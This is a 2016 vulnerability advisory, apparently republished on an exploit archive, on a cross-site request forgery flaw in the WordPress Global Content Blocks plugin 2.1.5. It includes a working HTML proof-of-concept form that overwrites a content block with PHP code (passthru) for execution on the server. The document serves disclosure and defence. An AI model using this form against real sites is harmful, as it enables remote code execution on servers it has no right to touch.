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WordPress Global Content Blocks 2.1.5 Cross Site Request Forgery

WordPress Global Content Blocks 2.1.5 Cross Site Request Forgery
Posted Mar 3, 2017
Authored by Yorick Koster, Securify B.V.

WordPress Global Content Blocks plugin version 2.1.5 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 5b31f6714683c6a8b78dc4e25ca2f915

WordPress Global Content Blocks 2.1.5 Cross Site Request Forgery

Change Mirror Download
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Cross-Site Request Forgery in Global Content Blocks WordPress Plugin
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Yorick Koster, July 2016

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Abstract
------------------------------------------------------------------------
It was discovered that the Global Content Blocks WordPress Plugin is
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can
be used to update a content block to overwrite it with arbitrary PHP
code. Visiting a page or blog post that uses this content block will
cause the attacker's PHP code to be executed.

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OVE ID
------------------------------------------------------------------------
OVE-20160712-0031

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Global Content Blocks WordPress
Plugin version 2.1.5.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_global_content_blocks_wordpress_plugin.html

The issue exists due to the fact that Global Content Blocks does not use the Cross-Site Request Forgery protection provided by WordPress. Actions with Global Content Blocks have a predictable format, thus an attacker can forge a request that can be executed by a logged in Administrator. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

The following proof of concept will update/overwrite the content block with id 1. In order to run the attacker's PHP code, a page/blog needs to be viewed that contains this content block (eg, [contentblock id=1]).

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=global-content-blocks" method="POST">
<input type="hidden" name="gcb_view" value="update" />
<input type="hidden" name="update_it" value="1" />
<input type="hidden" name="gcb_name" value="Foo" />
<input type="hidden" name="gcb_custom_id" value="" />
<input type="hidden" name="gcb_type" value="php" />
<input type="hidden" name="gcb_description" value="" />
<input type="hidden" name="gcbvalue" value="passthru('ls -la');" />
<input type="hidden" name="gcb_updateshortcode" value="Update" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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